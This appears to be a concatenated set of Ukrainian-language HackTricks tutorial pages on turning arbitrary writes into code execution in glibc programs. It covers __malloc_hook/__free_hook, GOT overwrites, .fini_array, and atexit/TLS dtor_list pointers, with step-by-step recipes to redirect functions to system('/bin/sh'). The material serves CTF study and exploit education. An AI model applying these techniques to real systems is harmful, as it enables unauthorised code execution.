* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
Як ви можете прочитати на [офіційному сайті GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), змінна **`__malloc_hook`** є вказівником, який вказує на **адресу функції, яка буде викликана** кожного разу, коли викликається `malloc()`, **збережена в розділі даних бібліотеки libc**. Тому, якщо цю адресу перезаписати, наприклад, з **One Gadget**, і викликати `malloc`, то буде викликано **One Gadget**.
|
||||
|
||||
Для виклику malloc можна зачекати, коли програма його викличе, або **викликати `printf("%10000$c")`**, що виділяє багато байтів, що змушує `libc` викликати malloc для їх виділення в купі.
|
||||
|
||||
Додаткова інформація про One Gadget:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
||||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що гачки **вимкнені для GLIBC >= 2.34**. Існують інші техніки, які можна використовувати в сучасних версіях GLIBC. Див.: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
{% endhint %}
|
||||
|
||||
## Free Hook
|
||||
|
||||
Це було зловживано в одному з прикладів на сторінці, використовуючи атаку на швидкий бін після атаки на неупорядкований бін:
|
||||
|
||||
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
|
||||
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Можливо знайти адресу `__free_hook`, якщо у бінарному файлі є символи за допомогою наступної команди:
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
[У пості](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) ви можете знайти крок за кроком посібник з тим, як знайти адресу гачка free без символів. У відомостях, у функції free:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
0xf75dedc1 <free+1>: call 0xf768f625
|
||||
0xf75dedc6 <free+6>: add ebx,0x14323a
|
||||
0xf75dedcc <free+12>: sub esp,0x8
|
||||
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
|
||||
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
|
||||
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
|
||||
</strong>0xf75deddb <free+27>: test eax,eax ;<
|
||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||
</code></pre>
|
||||
|
||||
У зазначеному місці в попередньому коді в `$eax` буде розташована адреса гачка free.
|
||||
|
||||
Тепер виконується **швидка атака на бін**:
|
||||
|
||||
* По-перше, виявлено, що можна працювати зі швидкими **частинами розміром 200** на місці **`__free_hook`**:
|
||||
* <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
* Якщо нам вдасться отримати швидку частину розміром 0x200 на цьому місці, буде можливо перезаписати вказівник функції, яка буде виконана
|
||||
* Для цього створюється нова частина розміром `0xfc` і двічі викликається функція злиття з цим вказівником, таким чином ми отримуємо вказівник на вивільнену частину розміром `0xfc*2 = 0x1f8` у швидкому біні.
|
||||
* Потім в цій частині викликається функція редагування, щоб змінити адресу **`fd`** цієї швидкої частини, щоб вказувати на попередню функцію **`__free_hook`**.
|
||||
* Потім створюється частина розміром `0x1f8`, щоб отримати зі швидкого біна попередню непотрібну частину, тому створюється ще одна частина розміром `0x1f8`, щоб отримати швидку частину біна в **`__free_hook`**, яка перезаписується адресою функції **`system`**.
|
||||
* І, нарешті, вивільняється частина, що містить рядок `/bin/sh\x00`, викликаючи функцію видалення, що спрацьовує функцію **`__free_hook`**, яка вказує на систему з параметром `/bin/sh\x00`.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
|
@ -0,0 +1,99 @@
|
|||
# WWW2Exec - GOT/PLT
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks для експертів червоної команди AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks для експертів червоної команди GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
### **GOT: Глобальна таблиця зміщень**
|
||||
|
||||
**Глобальна таблиця зміщень (GOT)** - це механізм, який використовується в динамічно зв'язаних бінарних файлах для управління **адресами зовнішніх функцій**. Оскільки ці **адреси не відомі до часу виконання** (через динамічне зв'язування), GOT надає можливість **динамічно оновлювати адреси цих зовнішніх символів** після їх вирішення.
|
||||
|
||||
Кожен запис в GOT відповідає символу в зовнішніх бібліотеках, які може викликати бінарний файл. Коли **функцію вперше викликають, її фактична адреса вирішується динамічним зв'язувальником і зберігається в GOT**. Подальші виклики цієї функції використовують адресу, збережену в GOT, уникнувши таким чином накладних витрат на вирішення адреси знову.
|
||||
|
||||
### **PLT: Таблиця зв'язку процедур**
|
||||
|
||||
**Таблиця зв'язку процедур (PLT)** тісно взаємодіє з GOT і служить трампліном для обробки викликів зовнішніх функцій. Коли бінарний файл **викликає зовнішню функцію вперше, управління передається до запису в PLT, пов'язаному з цією функцією**. Цей запис PLT відповідає за виклик динамічного зв'язувальника для вирішення адреси функції, якщо вона ще не була вирішена. Після вирішення адреса зберігається в **GOT**.
|
||||
|
||||
**Отже,** записи GOT використовуються безпосередньо після вирішення адреси зовнішньої функції або змінної. **Записи PLT використовуються для полегшення початкового вирішення** цих адрес за допомогою динамічного зв'язувальника.
|
||||
|
||||
## Отримання виконання
|
||||
|
||||
### Перевірка GOT
|
||||
|
||||
Отримайте адресу таблиці GOT за допомогою: **`objdump -s -j .got ./exec`**
|
||||
|
||||
![](<../../.gitbook/assets/image (121).png>)
|
||||
|
||||
Після **завантаження** **виконуваного** **файлу** в GEF ви можете **побачити** **функції**, які знаходяться в **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
За допомогою GEF ви можете **розпочати** **сесію** **налагодження** та виконати **`got`**, щоб побачити таблицю got:
|
||||
|
||||
![](<../../.gitbook/assets/image (496).png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
У бінарному файлі GOT містить **адреси функцій або** **секції PLT**, які завантажать адресу функції. Мета цього довільного запису полягає в тому, щоб **переписати запис GOT** функції, яка буде виконана пізніше, **з** **адресою** PLT **функції** **`system`**, наприклад.
|
||||
|
||||
Ідеально, ви **перепишете** **GOT** функції, яка **буде викликана з параметрами, які контролюються вами** (таким чином, ви зможете контролювати параметри, які надсилаються функції системи).
|
||||
|
||||
Якщо **`system`** **не використовується** бінарним файлом, функція системи **не матиме запису в PLT**. У цьому сценарії вам **доведеться спочатку витікти адресу** функції `system`, а потім переписати GOT, щоб вказати на цю адресу.
|
||||
|
||||
Ви можете побачити адреси PLT за допомогою **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## Записи GOT бібліотеки libc
|
||||
|
||||
**GOT бібліотеки libc** зазвичай компілюється з **частковим RELRO**, що робить його гарною метою для цього, якщо можливо визначити його адресу ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||
|
||||
Звичайні функції libc будуть викликати **інші внутрішні функції**, адреси GOT яких можна переписати для отримання виконання коду.
|
||||
|
||||
Знайдіть [**більше інформації про цю техніку тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
### **Free2system**
|
||||
|
||||
У CTF з експлуатації купиць часто можна контролювати вміст частин і, в певний момент, навіть переписати таблицю GOT. Простий трюк для отримання RCE, якщо немає доступних гаджетів, - переписати адресу `free` GOT, щоб вказувати на `system` та записати у частину `"/bin/sh"`. Таким чином, коли ця частина буде вивільнена, вона виконає `system("/bin/sh")`.
|
||||
|
||||
### **Strlen2system**
|
||||
|
||||
Ще одна поширена техніка - переписати **адресу GOT `strlen`**, щоб вказувати на **`system`**, тому якщо цю функцію викликають з введеними користувачем даними, можна передати рядок `"/bin/sh"` та отримати оболонку.
|
||||
|
||||
Більше того, якщо `puts` використовується з введеними користувачем даними, можна переписати адресу GOT `strlen`, щоб вказувати на `system` та передати рядок `"/bin/sh"` для отримання оболонки, оскільки **`puts` викличе `strlen` з введеними користувачем даними**.
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
||||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Зловживання GOT з купиці**
|
||||
|
||||
Звичайний спосіб отримання RCE з вразливості купиці - зловживання швидкої купиці, щоб можна було додати частину таблиці GOT до швидкої купиці, тому коли цей шматок виділяється, буде можливо **переписати вказівник функції, зазвичай `free`**.\
|
||||
Потім, вказавши `free` на `system` та вивільнивши шматок, де було записано `/bin/sh\x00`, буде виконано оболонку.
|
||||
|
||||
Можливо знайти [**приклад тут**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
|
||||
## **Захисти**
|
||||
|
||||
Захист **Full RELRO** призначений для захисту від цього виду техніки шляхом вирішення всіх адрес функцій при запуску бінарного файлу та зроблення **таблиці GOT доступною тільки для читання** після цього:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
|
@ -0,0 +1,81 @@
|
|||
# WWW2Exec - .dtors & .fini\_array
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## .dtors
|
||||
|
||||
{% hint style="danger" %}
|
||||
У наш час дуже **дивно знайти бінарний файл з розділом .dtors!**
|
||||
{% endhint %}
|
||||
|
||||
Деструктори - це функції, які **виконуються перед завершенням програми** (після повернення функції `main`).\
|
||||
Адреси цих функцій зберігаються в середині розділу **`.dtors`** бінарного файлу, тому, якщо ви зможете **записати** **адресу** вашого **shellcode** в **`__DTOR_END__`**, цей код буде **виконаний** перед завершенням програми.
|
||||
|
||||
Отримайте адресу цього розділу за допомогою:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Зазвичай ви знайдете маркери **DTOR** **між** значеннями `ffffffff` та `00000000`. Так що, якщо ви просто бачите ці значення, це означає, що **жодна функція не зареєстрована**. Тому **перезапишіть** **`00000000`** адресою **shellcode**, щоб виконати його.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Звісно, спочатку вам потрібно знайти **місце для зберігання shellcode**, щоб пізніше викликати його.
|
||||
{% endhint %}
|
||||
|
||||
## **.fini\_array**
|
||||
|
||||
Фактично це структура з **функціями, які будуть викликані** перед завершенням програми, схоже на **`.dtors`**. Це цікаво, якщо ви можете викликати свій **shellcode, просто зробивши стрибок на адресу**, або в тих випадках, коли вам потрібно повернутися **назад до `main`**, щоб **експлуатувати вразливість вдруге**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
./greeting: file format elf32-i386
|
||||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
Зверніть увагу, що коли виконується функція з **`.fini_array`**, вона переходить до наступної, тому вона не буде виконуватися кілька разів (запобігаючи вічним петлям), але вона також надасть вам лише 1 **виконання функції**, розміщене тут.
|
||||
|
||||
Зверніть увагу, що записи в `.fini_array` викликаються в **зворотньому** порядку, тому вам, ймовірно, захочеться почати записувати з останнього.
|
||||
|
||||
#### Вічна петля
|
||||
|
||||
Щоб зловживати **`.fini_array`** для створення вічної петлі, ви можете [**перевірити, що було зроблено тут**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Якщо у вас є принаймні 2 записи в **`.fini_array`**, ви можете:
|
||||
|
||||
* Використовуйте свій перший запис, щоб **викликати уразливу функцію довільного запису** ще раз
|
||||
* Потім обчисліть адресу повернення в стеку, збережену за допомогою **`__libc_csu_fini`** (функція, яка викликає всі функції `.fini_array`) і помістіть туди **адресу `__libc_csu_fini`**
|
||||
* Це змусить **`__libc_csu_fini`** викликати себе знову, виконуючи функції **`.fini_array`** знову, що викличе уразливу функцію WWW 2 рази: один раз для **довільного запису** і ще один раз, щоб знову перезаписати **адресу повернення `__libc_csu_fini`** на стеку, щоб викликати себе знову.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що з [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** розділ **`.fini_array`** робиться **тільки для читання**.
|
||||
У новіших версіях, навіть з [**Partial RELRO**], розділ **`.fini_array`** також робиться **тільки для читання**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
239
binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
Normal file
239
binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
Normal file
|
@ -0,0 +1,239 @@
|
|||
# WWW2Exec - atexit(), зберігання TLS та інші змішані вказівники
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **\_\_Структури atexit**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Сьогодні дуже **дивно експлуатувати це!**
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`** - це функція, до якої **передаються інші функції в якості параметрів.** Ці **функції** будуть **виконані** при виконанні **`exit()`** або **поверненні** з **головної** функції.\
|
||||
Якщо ви можете **змінити** **адресу** будь-якої з цих **функцій**, щоб вказувати на shellcode, наприклад, ви **отримаєте контроль** над **процесом**, але зараз це складніше.\
|
||||
Наразі **адреси функцій**, які мають бути виконані, **приховані** за декількома структурами, і, нарешті, адреса, на яку вони вказують, не є адресами функцій, а **шифруються за допомогою XOR** та зсувів з **випадковим ключем**. Таким чином, наразі цей вектор атаки **не є дуже корисним принаймні на x86** та **x64\_86**.\
|
||||
Функція **шифрування** - **`PTR_MANGLE`**. **Інші архітектури**, такі як m68k, mips32, mips64, aarch64, arm, hppa... **не реалізують функцію шифрування**, оскільки вона **повертає те саме**, що отримала на вході. Таким чином, ці архітектури можна атакувати за допомогою цього вектора.
|
||||
|
||||
Ви можете знайти докладне пояснення того, як це працює за посиланням [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
|
||||
|
||||
## link\_map
|
||||
|
||||
Як пояснено [**у цьому пості**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), якщо програма завершується за допомогою `return` або `exit()`, вона виконає `__run_exit_handlers()`, яка викличе зареєстровані деструктори.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Якщо програма завершується через функцію **`_exit()`**, вона викличе **системний виклик `exit`** і обробники виходу не будуть виконані. Тому, щоб підтвердити виконання `__run_exit_handlers()`, ви можете встановити точку зупинки на цій функції.
|
||||
{% endhint %}
|
||||
|
||||
Важливий код ([джерело](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
```c
|
||||
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||
if (fini_array != NULL)
|
||||
{
|
||||
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||
|
||||
while (sz-- > 0)
|
||||
((fini_t) array[sz]) ();
|
||||
}
|
||||
[...]
|
||||
|
||||
|
||||
|
||||
|
||||
// This is the d_un structure
|
||||
ptype l->l_info[DT_FINI_ARRAY]->d_un
|
||||
type = union {
|
||||
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||
}
|
||||
```
|
||||
Зверніть увагу, як `map -> l_addr + fini_array -> d_un.d_ptr` використовується для **обчислення** позиції **масиву функцій для виклику**.
|
||||
|
||||
Є **кілька варіантів**:
|
||||
|
||||
* Перезаписати значення `map->l_addr`, щоб воно вказувало на **фальшивий `fini_array`** з інструкціями для виконання довільного коду
|
||||
* Перезаписати записи `l_info[DT_FINI_ARRAY]` та `l_info[DT_FINI_ARRAYSZ]` (які приблизно послідовні у пам'яті), щоб вони вказували на підроблену структуру `Elf64_Dyn`, яка знову зробить **`array` вказівником на пам'ять**, яку контролює зловмисник. 
|
||||
* [**Цей опис**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) перезаписує `l_info[DT_FINI_ARRAY]` адресою керованої пам'яті в `.bss`, що містить фальшивий `fini_array`. Цей фальшивий масив містить **спочатку** [**адресу одного гаджета**](../rop-return-oriented-programing/ret2lib/one-gadget.md), яка буде виконана, а потім **різницю** між адресою цього **фальшивого масиву** та значенням `map->l_addr`, щоб `*array` вказував на фальшивий масив.
|
||||
* Згідно з основним повідомленням цієї техніки та [**цим описом**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so залишає вказівник на стеку, який вказує на бінарний `link_map` в ld.so. З допомогою довільного запису можна перезаписати його і зробити його вказівником на фальшивий `fini_array`, керований зловмисником, з адресою [**одного гаджета**](../rop-return-oriented-programing/ret2lib/one-gadget.md), наприклад.
|
||||
|
||||
Після попереднього коду ви можете знайти ще один цікавий розділ з кодом:
|
||||
```c
|
||||
/* Next try the old-style destructor. */
|
||||
ElfW(Dyn) *fini = map->l_info[DT_FINI];
|
||||
if (fini != NULL)
|
||||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||
}
|
||||
```
|
||||
У цьому випадку можливо перезаписати значення `map->l_info[DT_FINI]`, що вказує на сфальсифіковану структуру `ElfW(Dyn)`. Знайдіть [**більше інформації тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
|
||||
|
||||
## Перезапис dtor\_list TLS-сховища в **`__run_exit_handlers`**
|
||||
|
||||
Як [**пояснено тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), якщо програма завершується за допомогою `return` або `exit()`, вона виконає **`__run_exit_handlers()`**, яка викличе будь-які зареєстровані функції деструкторів.
|
||||
|
||||
Код з `_run_exit_handlers()`:
|
||||
```c
|
||||
/* Call all functions registered with `atexit' and `on_exit',
|
||||
in the reverse of the order in which they were registered
|
||||
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||
void
|
||||
attribute_hidden
|
||||
__run_exit_handlers (int status, struct exit_function_list **listp,
|
||||
bool run_list_atexit, bool run_dtors)
|
||||
{
|
||||
/* First, call the TLS destructors. */
|
||||
#ifndef SHARED
|
||||
if (&__call_tls_dtors != NULL)
|
||||
#endif
|
||||
if (run_dtors)
|
||||
__call_tls_dtors ();
|
||||
```
|
||||
Код з **`__call_tls_dtors()`**:
|
||||
```c
|
||||
typedef void (*dtor_func) (void *);
|
||||
struct dtor_list //struct added
|
||||
{
|
||||
dtor_func func;
|
||||
void *obj;
|
||||
struct link_map *map;
|
||||
struct dtor_list *next;
|
||||
};
|
||||
|
||||
[...]
|
||||
/* Call the destructors. This is called either when a thread returns from the
|
||||
initial function or when the process exits via the exit function. */
|
||||
void
|
||||
__call_tls_dtors (void)
|
||||
{
|
||||
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||
{
|
||||
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||
dtor_func func = cur->func;
|
||||
PTR_DEMANGLE (func); // demangle the function ptr
|
||||
|
||||
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||
func (cur->obj);
|
||||
[...]
|
||||
}
|
||||
}
|
||||
```
|
||||
Для кожної зареєстрованої функції в **`tls_dtor_list`**, він розшифрує вказівник з **`cur->func`** та викличе його з аргументом **`cur->obj`**.
|
||||
|
||||
Використовуючи функцію **`tls`** з цього [**форку GEF**](https://github.com/bata24/gef), можна побачити, що **`dtor_list`** насправді дуже **близько** до **стекового канарейки** та **PTR\_MANGLE кукі**. Таким чином, з переповненням цього буде можливо **перезаписати** куку та стекову канарейку.\
|
||||
Перезаписуючи PTR\_MANGLE куку, буде можливо **обійти функцію `PTR_DEMANLE`**, встановивши її на 0x00, що означатиме, що **`xor`**, використаний для отримання реальної адреси, буде лише адресою, яка налаштована. Потім, записуючи в **`dtor_list`**, можливо **ланцюжити кілька функцій** з адресою функції та її **аргументом.**
|
||||
|
||||
Зауважте, що збережений вказівник не лише буде **xor** з кукою, але також буде обертатися на 17 біт:
|
||||
```armasm
|
||||
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
||||
```
|
||||
Отже, вам потрібно врахувати це перед додаванням нової адреси.
|
||||
|
||||
Знайдіть приклад у [**оригінальному пості**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
|
||||
|
||||
## Інші змінені вказівники в **`__run_exit_handlers`**
|
||||
|
||||
Ця техніка пояснюється [**тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) і знову залежить від програми **виходу, яка викликає `return` або `exit()`**, тоді викликається **`__run_exit_handlers()`**.
|
||||
|
||||
Давайте перевіримо більше коду цієї функції:
|
||||
```c
|
||||
while (true)
|
||||
{
|
||||
struct exit_function_list *cur;
|
||||
|
||||
restart:
|
||||
cur = *listp;
|
||||
|
||||
if (cur == NULL)
|
||||
{
|
||||
/* Exit processing complete. We will not allow any more
|
||||
atexit/on_exit registrations. */
|
||||
__exit_funcs_done = true;
|
||||
break;
|
||||
}
|
||||
|
||||
while (cur->idx > 0)
|
||||
{
|
||||
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||
|
||||
switch (f->flavor)
|
||||
{
|
||||
void (*atfct) (void);
|
||||
void (*onfct) (int status, void *arg);
|
||||
void (*cxafct) (void *arg, int status);
|
||||
void *arg;
|
||||
|
||||
case ef_free:
|
||||
case ef_us:
|
||||
break;
|
||||
case ef_on:
|
||||
onfct = f->func.on.fn;
|
||||
arg = f->func.on.arg;
|
||||
PTR_DEMANGLE (onfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
onfct (status, arg);
|
||||
